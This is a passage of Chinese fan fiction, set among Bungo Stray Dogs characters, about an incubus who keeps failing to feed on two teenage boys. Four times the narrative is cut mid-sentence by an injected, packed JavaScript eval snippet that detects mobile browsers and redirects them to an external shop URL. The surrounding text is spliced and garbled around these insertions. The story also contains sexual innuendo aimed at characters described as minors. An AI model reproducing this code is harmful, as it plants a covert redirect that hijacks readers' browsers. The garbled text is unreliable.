然而赭发少年手上认真温柔的动作,有多显得关心同伴,就多显得反衬他像是个需要照顾的不懂事小孩。 望月的表情一瞬间扭曲,在心中攥紧了拳头。 ——「为所欲为」才不是指就让你做这种事情啊蠢货人类! …… 深夜。 床上的赭发少年闭着眼睛。 中原中也那张帅气的脸没了白天时锐利,显得更加柔和,匀称的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14156787|150364||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 呼吸声都昭示着主人已经入睡。 很可惜,床上只有一个人。 某只恶魔所期待的事情并未成真——这得归功于中原中也超强的行动力。 本以为房间里只有一张床,自己可以这样那样……结果还没等他爬上去,扭头就发现中原中也不知什么时候已经又搬来一张床,动作那叫一个干净利落。 看见房间里多出来的那张床,若不是此时不方便,望月身后的尾巴都要没精打采地耷拉下去了。 房间静悄悄的,只有窗外隐约传来不知名夜鸟的咕咕声。 一片黑暗中,隔壁床铺上的银发少年猛地睁开了眼睛。 望月眼神溃散,紫色的眸子几乎失去了光彩。 他盯着头顶天花板上前不久刚修补过的水泥抹子痕迹,在心中有气无力地朝系统说道。 ‘系统啊,你知道现在吾辈是什么感觉吗?’ 【……什么感觉?】系统虽然无语,但还是配合地问道。 ‘饥肠辘辘的时候,就在眼前的食物不能吃就算了。’望月眼神死,‘重点这食物还一个劲地散发着香味诱惑着你。’ ‘可恶,真是失策……’ 银发少年忍不住吸了口嘴角快滑下来的口水。 【……】 在隔壁床的中原·蜂蜜小蛋糕·中也并不知道,自己的室友此时正经受着什么样的煎熬。 然而,对于恶魔尤其是魅魔们来说,忍耐自己的欲望几乎是不可能的事。 在饥饿的驱动下,望月悄悄地掀开了身上的被子,翻身下床,蹑手蹑脚地走向了隔壁床似乎已经睡熟了的中原中也。 【你要干什么?】 系统终于没法装死,警觉道。 ‘既然对方不「为所欲为」,那只能让吾辈来了。放心吾辈只是蹭一点饭,绝对不会违……’ 望月一边在心里回答道,一边伸出手,刚抓住对方被子的一角,突然,一种莫名的寒意席卷全身。 中原中也不知何时睁开的眼睛,锐利的蓝眸紧紧地盯着自己,警惕着自己下一步的动作。 仿佛自己如果不解释,下一秒就会被对方碾碎似的。 望月感觉到空气似乎瞬间变得沉重,顿时汗流浃背;在这种极限的条件下,他的脑筋转动飞快,立刻脱口而出。 “吾、吾辈一个人睡觉有点害怕。” “不都在一个房间里吗?”中原中也皱起眉,冷声问道,“你到底想做什么?” “其实吾辈是想过来帮你暖床。” 望月灵光一闪,顿时理直气壮起来,挺了挺胸口, “吾辈知道中也是个害羞的人,一定是不好意思提对吧。放心,作为一个信守诺言的……” 在银发少年那副过于坦荡又无辜的表情下,中原中也嘴角抽了抽,额头上的红色十字路口又多了一个。 他到底捡了一个什么东西回来? 赭发少年深呼吸一口气,试图平息自己的怒气。 “都说了不需要!你这家伙给我老实点,滚回去睡觉!” 在中原中也咬牙切齿的怒吼以及系统欣慰的目光下,望月悻悻地爬回了自己的床铺。 他躺回床上,闷闷不乐地翻了个身,背对着隔壁床铺重新闭上眼睛的中原中也。 银发少年脸上的怨念几乎可以化成实体,眼神幽幽。 ——撒旦大人啊,如果吾辈犯了错,也请别用这种方式惩罚吾辈。 5. 第五章 说是由中原中也来负责监督望月,然而实际上作为「羊」的「首领」——或者说组织唯一拿得出手的好牌,中原中也几乎很少有时间呆在基地里。 更何况最近的横滨局势混乱,暗流涌动。 黑色火焰,复活的港口mafia前代首领,武器库被袭击,最重要的还有关于「荒霸吐」的事……中原中也一时间没法顾得上望月,也只能将对方留在基地内。 每次从外面回来,疲惫地推开门,中原中也就能看到银发少年乖巧地呆在房间里;大概是一个人在房间里太无聊了,见自己回来,望月的眼睛很明显地亮了起来,露出灿烂的笑容。 “欢迎回来,中也!” “……哦。” 每每听到望月兴高采烈的欢呼,中原中也都感觉到一股微妙的不自在感。 虽然从前每次自己解决掉威胁到组织的敌人后,「羊」的同伴也会兴奋开心地围着自己欢呼,庆祝着他,或是说他们的胜利,让别的组织和大人们不敢小瞰他们。 然而却没有人像望月那样。 ——只是单纯因为自己的回来而感到高兴。 赭发少年不知道该如何描述胸口这种莫名的感受,最后只得干巴巴地回了一句。 “我回来了。” …… 然而实际上, “可恶,这囚禁play到底要玩到什么时候才可以啊——” 中原中也的房间内,望月在自己床上打着滚,哀嚎着大叫。 刚来人界的新鲜劲儿,在这几天内已经被消磨得差不多了,更重要的是…… “吾辈现在超饿啊……” 望月趴在枕头上,眼神溃散道。 那个叫做中原中也的人类雄性到底怎么回事,不论自己做什么都无动于衷。 自己是一口都没机会蹭到。 对着空气骂骂咧咧半天后,望月终于安静了下来,将目光投向了房间里的另一张床。 中原中也有早起的习惯,起床后床铺也打理整齐。 虽然正主并不在这,但毕竟是长期居住的地方,还是会留下主人的气味。 大概是银发恶魔的目光太过直勾勾,让人一眼就能明白对方想要做什么,系统终于看不下去,忍不住吐槽道。 【你是变态吗?】 “不是变态,吾辈是魅魔!” 望月双手叉腰,理直气壮地说道,“吾辈只是想在中也的床上闻闻气味而已!” 【……所以说你的行为和变态有什么区别!】 “现在吃又吃不了,摄取魔力只能通过摄入体|液,打滚什么的也完全无济于事,顶多起到心理慰藉作用。”望月语气幽怨。 “再这样饿下去吾辈可是什么事情都能做的出来。” 【……】 见系统被自己驳倒,望月得意地抬了抬下巴,立即乐滋滋地跑过去,径直扑到中原中也的床上,用脑袋蹭了蹭对方的被子。 “虽然这个赭发人类凶巴巴的,不过光闻对方身上的气味就能想到会有多美味。” “唉,要是能让吾辈吃上一口,吾辈不知道会是一个多么幸福的小恶魔……” ——中原中也推门进来的时候,就看到了这样一幅画面。 中原中也沉默着,钴蓝色的眸子投向趴在自己床上,身体已经完全僵硬了的银发少年。 没想到自己被逮了个正着的后望月僵硬地转过脑袋,扯着一张略显尴尬的笑脸。 “中也你这床可真是太床了……啊不,太软了。” “你……” 中原中也原本已经握紧了自己的拳头,然而在听到望月的话后,迟疑了一下,眉毛几乎打结。 这家伙前几天晚上也是,总是想爬到自己床上来。其实是因为喜欢这张床的缘故吗? 于是,中原中也沉声说道。 “你要睡我这张床也行,反正我睡哪边都无所谓。” ……真是谢谢你啊。 中原中也不知道望月心中是如何咬牙切齿,偏过头瞥了一眼一旁的桌子,上头的饭团和果汁都没有动过的痕迹。 赭发少年忍不住抿唇,眉头皱起。 这段时间里,自己带来的食物,望月似乎一口都没吃过。 “你最近是不是都怎么没有吃过东西?” “都说了吾辈才不要吃这些。”望月鼓着包子脸,不满地抗议道,“这些食物太难吃了。” ……这家伙之前到底怎么活下来的? 中原中也忍了忍,压下性子问道。 “那你想要吃什么?” 提到食物的话题,望月顿时眼睛一亮,晃了晃脑袋,一副理所当然的样子。 “哼哼,吾辈要吃的当然是带着白色黏稠液体的肉……呜哇哇——” 他的话还没说完,脖子上的项圈瞬间启动,看不见的电流贯穿全身。 望月被电得发出一声凄厉尖叫,听上去像是被人猛薅了一把毛的猫咪。银发少年直接摔趴在了地上,还是脸着地。 ‘混蛋系统!’ 对于望月的咆哮,系统只是拿出小手绢擦了擦额头上的冷汗,松了一口气。 千钧一发,差点直播间不保了。 在这只魅魔的身边工作,真是一秒钟都不能松懈。 中原中也也被望月突如其来的反应吓了一跳,上前扶起摔在地上的银发少年,语无伦次地询问道。 “喂,望月,你怎么了?” 见望月紧闭着双眼,满脸痛苦昏迷不清的样子,中原中也的眉毛狠狠地皱起,低声暗骂了一句。 “该死的,又是像之前那样饿昏过去的了吗。” 中原中也想起身去找点糖之类的东西应急,刚想站起身,发现自己的衣服被对方无意识地拽在手心里。 银发少年紧闭着眼睛,可怜巴巴地蜷缩成一团,看上去像是很缺乏安全感。 面对望月几乎是依赖的举动,中原中也愣了愣。 他忽然想起,望月说自己是被诱拐到横滨的。 整个横滨没有认识的人或事,大概一直很不安害怕吧。 中原中也抿了抿唇,伸出手,生硬地拍打着对方的后背,试图安抚对方情绪。 然而,望月非但没松手,反而仿佛闻到味似的整个人很快埋了过来,甚至像是小猫一样用鼻尖蹭了蹭自己的脖颈。 这种过分亲昵的举动让中原中也的身体一僵,差点直接把对方丢出去。 “喂、喂,你这家伙不要贴得这么近……” 他张口刚要说什么,又硬生生地闭了回去,脸颊也憋得通红。 中原中也也是第一次遭遇这种情况,手僵硬在半空中,一时间不知道该如何为好。 自己似乎一直没怎么关注望月这家伙的情况。 明知道对方对吃饭这件事很抗拒。自己最近忙于「荒霸吐」和「羊」的事,太忽略望月了。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14156788|150364||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 对方这幅可怜的姿态,让他感到有些内疚。 系统目睹了全程,心情复杂。 若不是中原中也并听不见自己的话,它真的很想告诉对方。 ——比起担心这只魅魔的身体,倒不如先担心一下自己的贞操安全吧! 因为这只魅魔完全就是在演戏啊! 快看这家伙,嘴角的口水都要流到你身上了! 望月紧闭着眼睛,把脑袋埋在中原中也的脖颈上;靠得越近,对方那股美味的气息愈发明显。 即便自己并不是吸血鬼,都也忍不住对着对方脖颈的皮肤咽了口口水。 这种情况,他不尝一口实在说不过去了吧。 望月强忍着激动,刚张开嘴正准备咬一口,就被中原中也抓着衣领往后揪开。 对上了赭发少年那双蓝眸时,望月眨巴眨巴眼睛。他的嘴巴还保持着张开的动作,僵硬在原地,脸颊挂上了一滴尴尬的冷汗。 “这不是已经醒了吗……喂,你张着嘴干什么,不会饿晕了连我都准备啃一口吧?”中也半眯起眼睛,狐疑地问道。 ……说对了。 望月没办法狡辩,只好悻悻地闭上了嘴,心虚地挪开视线。 好在中原中也见他是饿晕了的份上,没和他计较。 被中原中也拽开后,望月坐在地上,委屈地抱着自己的腿,嘀嘀咕咕道。 “吾辈肚子饿了嘛……” “……你有多久没吃东西了?” “唔。”望月回忆,说道,“自从来到横滨,似乎就一直没吃过了。” “哈?从到横滨开始?难怪第一次遇到的时候,你这家伙会晕过去。”中原中也难以置信,“那为什么不吃东西?” ……被自己的食物训斥为什么不吃饭,真是种奇妙又难言的体验。 “都说了,吾辈吃不下那些东西啦。完全咽不下去又能怎么办……”吾辈可是魅魔啊魅魔。 望月瘪了瘪嘴,哀怨又无语地盯着面前的赭发少年。 中原中也的表情复杂。 他抬起手,原本想要抓自己的头发,转而又改成扶着自己的脖子,别扭地关心道。 “总不能一直不吃吧,你的身体会撑不住的。本来就这么弱了……” 既然怕吾辈撑不住,那就让吾辈吃一口啊真是的! 望月在心中扭曲着表情,骂骂咧咧着恨不得扑上去抱着对方的脖子就是一顿乱啃。 然而在中原中也看过来时,望月又立即换成可怜巴巴的眼神,用一种轻快的语气,说道。 “没关系的,就算一直不吃东西也不会有问题啦。而且吾辈也不想给中也添麻烦。” “毕竟,” 望月说完,朝着中原中也弯起眼睛。紫眸中一闪而过的狡黠并未被发现。 银发少年的脸上露出一抹乖巧可爱的笑容。 “只要能呆在中也身边,吾辈就满足了。” 看到画面上赭发少年微愣的神情,系统不由得感叹。 说起谎也完全不会有罪恶感。 真不愧是恶魔。 这边系统正感慨着,那边中原中也回过神后,轻咳了一声,像是为了转移话题般问他明天的安排。 “没有哦,中也不在的话我也不想出去。”这暗示的意味再明显不过。 果然,赭发少年听到后顿了顿,问道。 “那……你明天要和我一起出门吗?” 6. 第六章 第二日。 穿着深色夹克的赭发少年双手插兜,走在街道上。他的身后跟着一个银发少年。 后者正好奇地东张西望着,观察着周围的事物。 “噢噢~这就是擂钵街以外的地方啊……” 望月一边感叹着,一边瞥了一眼从自己身边路过的西装男。看这步履匆匆还拿个公文包的样子,大概是上班的社畜。 有很多「食物」呢。 银发恶魔下意识舔了舔嘴唇,然而下一秒又被中原中也的声音叫回了神。 “……喂,望月,你在看什么?” “随便看看。” 望月赶紧多走了两步,老实地跟在中原中也身后。 昨天这个赭发人类说要自己跟对方一起出门,果然是囚禁play已经玩腻了吧! 不过具体要做什么也没告诉自己。 望月双手抱胸,确信般点了点脑袋,好奇地问道。 “所以,中也带吾辈出来是想干什么?” “你不是说想要吃带「白色黏稠液体的肉」吗……怎么了?” 身后的脚步声停了下来。 走在前面的中原中也同样停下脚步,偏过头瞥了一眼身后一脸呆滞的望月,似乎在疑惑对方为什么停下。 望月一时间没有反应过来,眨了眨豆豆眼。 诶?真的假的,自己没听错吧? 银发恶魔忍不住向脑内的系统问道。 ‘这人类是终于开窍了吗?’ 【……】系统心中升起一种淡淡的绝望。 系统的沉默反倒给了望月错误的信息。 ‘果然是开窍了,呼呼,既然是对方主动的话就不能怪吾辈了对吧!’ 望月顿时眼睛蹭地一下变亮,屁颠屁颠地凑到了中原中也的边上。 银发少年探着身体,眼睛里兴奋地满是小星星,叽叽喳喳说个不停。 “什么嘛,既然是这样中也就早点说啊。” “要在哪里吃?嘛,吾辈去哪里都没问题~反正吾辈也不挑地方,不如说特别一些的地方吾辈会更加兴奋……” 望月自顾自地说着,反而让前面的中原中也摸不着头脑,一脸茫然。 “哈?你在说什么?”中原中也皱着眉,发出一声疑惑。 “你想吃那个的话,只有那里才有吧?” “……?” 十分钟后。 玻璃窗边,望月坐在软包沙发上,表情空白地扫视了一圈周围来来往往的顾客,然后将目光投向了端着餐盘走过来的中原中也,看着对方坐下。 银发少年之前兴奋的表情此时变得木然,和周围吃得笑容满面的小朋友们形成鲜明对比。 望月此时脑袋上的问号多得都能当投掷道具用了。 “这就是你说要带来我来的地方?” 一时间甚至连自称都忘记用上了。 他那么兴奋期待。 ——所以,只是快餐店吗? “嗯?有什么问题吗?” 中原中也放下手里的餐盘,不解地问道。 从进店开始,望月就表现得很奇怪,眼神呆呆的,好像脑袋停止运转了一样。 饿昏了?中原中也干脆把面前的餐盘往对面一推,指了指盒子里的汉堡,说道。 “喏,你不是说要吃这个吗?” 望月的目光从中原中也的脸下移,看向那个叫做「汉堡」的人类食物。 被炸至金黄的汉堡肉上挤着一层黏稠的色拉酱,白色的色拉酱正顺着汉堡肉身滑落,沾在餐盘底铺着的油纸上,充满着诱人的光泽。 望月抬起头,再次对上了中原中也那双蓝眸,表达着自己无声的疑问。 后者咳嗽一声,认真地问道。 “咳……「带白色黏稠液体的肉」,应该是这个没错了吧?” “所以中也是特意带吾辈来……就是吃这个东西吗?” “当然。” “……” 【……噗。】 听到脑内系统幸灾乐祸的嗤笑,这回轮到望月的脑袋上蹦出青筋了。 银发恶魔快绷不住自己的伪装和脸上的表情,气到憋得脸颊通红,紫色的眸子被怨气盖住几乎失去高光。 见对方没有任何动作,中原中也疑惑地皱起眉。 “你不吃吗?” 在中原中也的注视下,望月沉默着伸出一根手指,抹了一点汉堡上头的白色色拉酱,伸出舌头缓慢地舔了一口。 然后,中原中也就看到银发少年吐出舌头,脸上露出了明显的厌恶。 “呕,好难吃——吾辈就算是饿死,从这里跳下去,也绝对不会吃这个的!” “你是有厌食症吗?”中也无语问道。在他看来,望月像只矜贵挑食的猫。 “当然没有,吾辈的食欲可是相当旺盛。”望月一边说着,一边把面前的托盘推远了些。 “……啧,你这家伙真是麻烦啊。” 但是不吃东西的话,这家伙身体肯定支撑不了多久。 想起之前望月饿昏过去的画面,中原中也忍不住皱起眉,心中莫名生出一丝烦躁。 于是,中原中也想也没想,直接伸手捏住面前银发少年的脸颊,迫使对方朝着自己张开嘴,然后眼疾手快地拿起一块炸鸡块,径直塞到了对方的嘴巴里。 “不许吐。” 赭发少年的声音强硬,让人下意识服从。 在中原中也的注视中,望月艰难地咀嚼了几下,本能地咽了下去。 见对方顺从着自己的话把东西吃掉,中原中也总算松了一口气。 这也算是一种解决方法了吧。 中原中也这才松开了捏住对方脸颊的手。 “什么啊,这不是能好好咽下去的吗。” “不管怎么样,我之后会监督你的吃饭问题的——挑食的话,直接塞进嘴巴里就行了吧?” 望月捂着自己的嘴巴,努力控制住自己的表情不要在中原中也的面前崩坏。 ……故意的,绝对是这家伙故意的! 自己可是堂堂的恶魔,居然被一个人类戏耍到这种地步。 银发恶魔在心中几乎泪洒游泳池。 再这样下去自己绝对会被饿死的。 不管怎样,总之今天一定要去找点「正常」的食物吃。 …… 之后望月便说什么都不肯再多吃一口,剩下的食物最后还是中原中也解决掉。 回擂钵街的路上,跟在身后的银发少年一声不吭,甚至和自己刻意拉开了距离。 从离开快餐店开始,两个人就没说过话,气氛难得尴尬。 望月很少这样不理自己。 ……还是向对方道个歉吧,自己好像的确有些太粗暴了些。 中原中也停下脚步,像是缓解尴尬似的用手扶着自己的脖子,表情别扭地开口道。 “喂……望月,刚刚的事情抱歉了。下次……” 中原中也说着,转过身,却发现原本跟在身后的望月此时不见了踪影,空无一人。 连根白毛都看不见。 ……难怪从刚刚开始,周围安静到有些反常。 中原中也眼角肌肉抽了抽。 然而一想到最近横滨不太平的局势,赭发少年握紧拳头,忍不住低声骂了一句。 “这家伙乱跑去哪儿了!” * 擂钵街的某个角落。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14156789|150364||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >夕阳渐沉,将周围一片染上茜色,也代表着横滨危险的夜晚也即将到来。 然而,看着故意被陌生男人拐进幽暗小巷里的银发恶魔,系统有一丝崩溃。 它感觉这个直播间正朝着无可挽救的方向一路狂奔。 【……你要做什么?】 “不是很明显吗?找点饭吃。”理直气壮。 系统也自觉这是个白痴问题,发出一声破碎的电子音。 它要先崩溃了。 自从和这只魅魔绑定后,它几乎无时无刻不处于抓狂边缘。 所以当初绑定哪个种族的恶魔不好,偏偏是只魅魔,简直是直播间的大敌。 【我的意思是,你怎么什么饭都吃?】系统试图用一种方式阻止。 ‘……你以为吾辈想吗,饿坏了的时候,再难吃也都能吃得下的。’望月语气沉重,‘你能明白这种感受吗?’ 【我是系统,不需要进食。】系统木着脸答道,【我警告你,绝对不可以……】 ‘吾辈开动啦——’ 望月直接无视系统,喜笑颜开地欢呼道。 饿坏了的魅魔,显然是忘记了电击的滋味。 周围了无一人,这里显然很适合成为某种犯罪现场。 昏暗的小巷内,银发少年嘴上恐惧地发出惊呼求救。 然而在他抬起头时,那双漂亮的浅紫色眸子,因为兴奋而缩紧,像是某种野生动物一样,在那片暗色之中,隐约散发出一种妖冶诡异的幽光。 望月舔了舔嘴唇,甚至说有些激动。 这可是自己的第一餐,那就不客气地开…… “砰!” 一声刺耳的枪鸣回荡在小巷内,惊飞了远处垃圾桶里觅食的乌鸦,拍打着翅膀四散而去。 望月瞪大眼睛,脸颊上飞溅着温热的鲜血,愣愣地看着男人倒下。 阻挡着视线的男人倒在了地上,血液蔓延,露出身后披着黑色大衣的少年。 太阳已经彻底落下,小巷外路灯的光透不进这片黑暗,仅剩天上的那轮月亮散发着微不足道的光芒。 黑发少年手上的枪枪口甚至还飘着硝烟,脖颈、手腕以及脸颊都缠绕着绷带,仅露出的那只鸢眸,覆盖着一层漆黑的郁气。 少年放下了手中的枪,像是提不起精神来,低头看着地上男人的尸体,有气无力地拖长声音诶了一声。 “被港口mafia盯上都还有心思做这种事情吗,真是难以理解。啊,还是说觉得自己藏得很好,所以得意忘形了吗?” 【滴】 【目标角色出现】 系统冷不丁地响起。 然而望月似乎没听见似的,低头一脸呆滞地看着血泊里失去生气的男人。 太宰治慢吞吞地走了过来,蹲下检查对方的脉搏,确认死亡后才站起身。 他瞥了眼一旁的银发少年,后者垂着脑袋站在原地,像是被吓傻了一样,垂在身侧的手不断发抖。 普通人看到尸体时正常的反应。 太宰治见多了,连眼皮都没抬一下,语气恹恹。 “唔,虽然帮你并不是我的本意,不过还是好心奉劝你一句好了……横滨的夜晚可是很危险的哦。”黑发少年弯起眼睛,猛地压低了声音。 “更何况还是在这种偏僻的角落,就算求助也不会有人听……” 然而太宰的话还没说完,下一秒,那个银发少年发出了尖锐的爆鸣。 他的饭! ——没了!! 望月扭曲着一张脸,以极快的速度冲上来抓着太宰治的衣领前后猛摇,尖叫着喊道。 “看看你这家伙都做了什么啊混蛋!赔吾辈的饭!” 太宰治:……? 7. 第七章 被望月抓住衣领的太宰治先是眨了眨眼,用一种无辜的语气问道。 “诶~不管怎么说,我都算是你的救命恩人吧,就这样对待你的恩人吗?” 然而快饿疯了的望月几乎什么都听不进去,他现在满脑子都只剩下「自己的饭没了」这件事,尖叫道。 “你知道吾辈已经饿了多久吗!好不容易要吃上一顿,就被你这家伙毁掉了!” “「吃上一顿」?” 太宰精准地捕捉到对方话中的关键词,挑了挑眉。 看来是他打扰了对方。 毕竟在横滨这种地方,伪装成弱者然后黑吃黑这种事也并不少见。 望月原本咬牙切齿着,似乎还想要骂什么,然而却又突然停了下来。 紫色的眸子忽明忽暗,上下打量着面前的绷带少年。 “唔,等一下……” 望月贴上来,像是猫一样嗅了嗅太宰身上的气味,发出一声惊叹,眼睛重新变得亮闪闪的,几乎冒着小星星。 “人类雄性,你的味道似乎也很好吃的样子。” 和中也是同级别的品质。 不行了,馋得口水都快滴下来了。 银发少年的凑近让太宰治忍不住皱起了眉。 “……啊~啊,说出这种台词,难道你是汉尼拔的粉丝吗?虽然我想要死掉,不过可不是这种死法呢……” 他漫不经心地说着,嫌弃地正准备拍开对方的手。 忽然间,似乎有一股甜腻的香气,顺着鼻腔进入大脑,让他拍开对方手的动作逐渐变得迟缓犹豫。难以用语言形容身体的感受,古怪的躁动感从胸口蔓延。 即便是他,精神上也有一瞬间的晃神和动摇。 太宰治瞬间察觉到自己此时的不对劲之处,很快从动摇中冷静下来。 脑内一条条思绪飞快闪过。 精神异能力者? 但如果是异能力的话,有「人间失格」在应该不会有效果。 黑发少年放在身侧的手指顿了顿,并没有选择推开对方,而是冷静地观察着。 他有些好奇于对方究竟想做什么。 至于自己会不会遭遇危险,太宰治倒是没那么在意。 事实上他经常将自己放置于一种危险的状态,并感到跃跃欲试。 太宰治试图从中寻找些什么。 面前的银发少年贴近了自己,用双手捧起自己的脸颊。 那双手恰到好处的冰凉,覆盖上脸颊时,微妙地舒缓了脸上的燥热。那种舒服的感觉让人恋恋不舍。 银发少年咧开嘴,露出尖尖的小虎牙。 “既然是你毁了吾辈的饭,那就用你自己来赔吧。” “显然你比地上那个家伙更加美味呢。” 银发少年的鼻尖贴得很近,和自己的脸只剩下几厘米的距离,若即若离,彼此的嘴唇似乎下一秒就会触碰到一起。 随着对方的靠近,那股香甜的气息更加明显了。 吾辈的魅魔能力终于生效了啊! 望月忽然有些感动。 毕竟他在中原中也身上翻车太多回了,再这样倒霉下去,他都要怀疑起自己恶魔种族到底是不是魅魔了。 银发少年得意洋洋地半眯起眼睛,撒娇的语气像是猫尾巴一样微微上挑,带着诱惑的意味。 和其他热衷于欣赏痛苦、挣扎的大部分恶魔们不同,信奉着欢愉至上的魅魔们,更喜欢看到狩猎对象陷入欲望而无法自拔,忘乎所以的样子。 越是快乐,品尝到的果实越是美味。 望月舔了舔嘴唇,轻声说道。 “呼呼~还是从最简单的接吻开始好了,让吾辈尝一口吧。作为回报吾辈会让你舒服到不想停下……诶、诶?” 某个坚硬的东西抵在了自己的下颌上,机械的咔咔声令望月脸上的表情顿时一僵,原本想要说的话全部卡在了喉咙里。 “嗨~嗨,到此为止吧。” 太宰弯起眼睛,声音轻快地说道。 只是抵在下巴上的那把黑色手|枪,并没有主人表现出的那般人畜无害。 望月:……? ……这个情况自己为什么这么熟悉? 好像曾经遭遇过。 某只魅魔的脑袋此时一片呆滞,飘过了一连串问号。 似乎注意到他在发呆,黑发少年微笑着用手|枪顶了顶他的下巴,展现着存在感。 “如果再乱动的话,你的脑袋下场会和地上那个家伙一样——bang地一声,彻底炸开花哦。” 回忆起刚刚枪□□发子弹的威力,望月下意识往后退一步,后背直接和冰冷的墙壁贴在一起,空间顿时变得逼仄。 “等一下,人类雄性、呃,你先把这个危险的东西收起来……看嘛,你又没受伤什么的。” 银发恶魔试图像上次在中原中也面前那样辩解,理直气壮地说道。 “吾辈还没做什么不是吗?” 然而太宰治可没有像中原中也那样好糊弄。 黑发少年微笑着,把手里的枪朝着对方那张漂亮的脸蛋怼得更近了些。 望月闭上嘴,哭丧着表情,双手举起放在脑袋旁示意自己的无辜,委屈巴巴的。 自己的确什么都没做嘛。 没亲上也没伸舌头,一点魔力都没吃到。 虽然美少年泪眼汪汪求饶的表情可以算得上是赏心悦目,然而太宰治心中没有任何波动。 黑发少年将手中的枪抬起,对准他的太阳穴;虽然脸上笑眯眯着,然而那只鸢眸却是一片暗色,不见任何笑意。 太宰治瞥了眼望月手腕上的蓝色丝带,挑了挑眉。 “这个蓝丝带,是「羊」的象征。原来如此,是那个暴力小矮子的人……” “「羊」……”望月先是茫然,终于想起来这个是自己加入的组织的名字,然后恍然大悟。 “你不会是和「羊」的人有仇吧?先说明一下,吾辈才加入没多久,什么事情都不知道也没做……” “先回答我的第一个问题吧。你的名字是?” “望、望月。” 屈服于这个黑发人类手中的武器,银发恶魔悻悻地说道。 “你很有趣呢。刚刚那个应该不是异能力吧?”太宰轻哼一声,微笑着说道,“是想要干脆点老实地解释,还是想要跟着我回去,用些粗暴的手段再解释?” ……能都不选吗? 虽然自己喜欢粗暴点的,但也仅限于那种时候。 身为恶魔,自己却在人类世界这几日饱尝各种翻车的滋味。 他来人界可是为了享受美食,然后带着超绚丽豪华的淫|纹回去,向那群家伙好好炫耀炫耀。 结果从目前自己经历过的种种看来,甚至不如拿笔自己画一个上去来得更快些。 绝对会被其他恶魔嘲笑的程度。 明明在前辈们说,人类雄性就是群大脑连接着下半身、最容易上钩的生物,怎么到自己这里完全就不一样啊! 望月此时的心情无比的委屈。 ——为什么自己遇到的这些人类,一个两个的,对魅魔的能力抵抗性这么高。 关键是,< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14156790|150364||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 现在的自己真的很饿。 刚刚用来魅惑对方时已经用了不少魔力,只进不出的情况下,自己的肚子更饿了。 一时间,饥饿感占据了脑袋,变得难以思考。 不管怎么样,让他吃上一口吧。 在太宰诧异的目光中,银发少年像是忘记了枪的危险性,主动靠近了过来。 刚刚开过枪的枪管还残留着些许余温,甚至能嗅到淡淡的硝烟气息。银发少年的脸颊贴着枪支蹭了过来,像是朝着主人撒娇的某种小型犬般,转而贴上了他的掌根,用脸颊轻蹭着。 之前那股原本淡下去的香气再次浓郁起来。 望月的举动完全出乎太宰治的意料。 黑发少年眼睛微微瞪大,在片刻的诧异后,很快又平静了下来,闪过一道微妙的光。 太宰治忽然笑了起来。 这个轻笑比起刚刚,倒是多了一丝真切和兴趣。 他还以为对方就算用任何方式,也要恳请自己放过。 不过看来不是因为惧怕。 毕竟对方现在的表情看上去更像是在发|情……不,饥饿的动物呢。 “唔,真有趣的反应。” “虽然之前也遇到过临死前向我求饶的人,但是像你这样举动的却是第一个呢。不害怕我会开枪吗?” “不害怕哦。” 银发少年闻言,缓慢地抬起了脑袋。 太宰治对上了那双深紫色的眸子,倒映着自己面无表情的脸,清晰可见地呈现着奇特的粉红色桃心。 “因为你不会对吾辈开枪的,对吧。” “诶~那么自信吗?你……” 太宰治还想要说什么,忽然,一抹长条状的黑影在视野内闪过。 黑发少年的声音停顿,疑惑地眨了眨眼睛。 那是……尾巴? 太宰治还以为是因为周围太暗,自己眼花了。 黑发少年另一只放在身侧的手手指动了动,随后缓缓抬起,想要去抓住那条晃来晃去的东西。 “咚!” 一声巨响。 一个覆盖着暗红色光的垃圾桶忽然飞了过来,狠狠地砸在了太宰治的身上。 黑发少年整个人直接被砸飞了出去。 这突如其来的变革直接把望月也一同砸得措不及防。 他下意识朝着飞出去的太宰治伸出手,试图挽留。 吾辈的饭! 银发少年无声地张着嘴,泪眼汪汪地看着自己第二只快煮熟的鸭子就这么飞了——还是物理意义上的。 “这又是谁啊来砸吾辈的饭……” 望月气愤地扭过头,想看看又是谁来坏自己的好事。 